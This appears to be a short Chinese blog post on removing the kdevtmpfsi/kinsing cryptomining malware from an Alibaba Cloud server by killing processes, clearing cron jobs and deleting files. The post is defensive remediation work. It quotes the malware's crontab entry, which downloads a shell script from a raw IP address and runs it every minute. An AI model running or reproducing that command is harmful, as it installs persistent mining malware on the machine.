解决阿里云服务器被kdevtmpfs挖矿

查进程

top

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1PLc6GWO-1577413734965)(./1577413013446.png)]

systemctl status 3256

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JqiBEbhL-1577413734967)(./1577413079512.png)]

kinsing 是kdevtmpfsi背后的守护进程,需要先杀kinsing然后再杀kdevtmpfsi。

杀进程

kill -9 3256
kill -9 3142

清理定时任务

查看定时任务

crontab -l

查看到结果:* * * * * wget -q -O - http://195.3.146.118/unk.sh | sh > /dev/null 2>&1
清理定时任务

crontab -e

删文件

如果需要查找可以查找这两个文件,然后去对应目录删除

find / -name kdevtmpfsi
find / -name kinsing
Logo

魔乐社区(Modelers.cn) 是一个中立、公益的人工智能社区,提供人工智能工具、模型、数据的托管、展示与应用协同服务,为人工智能开发及爱好者搭建开放的学习交流平台。社区通过理事会方式运作,由全产业链共同建设、共同运营、共同享有,推动国产AI生态繁荣发展。

更多推荐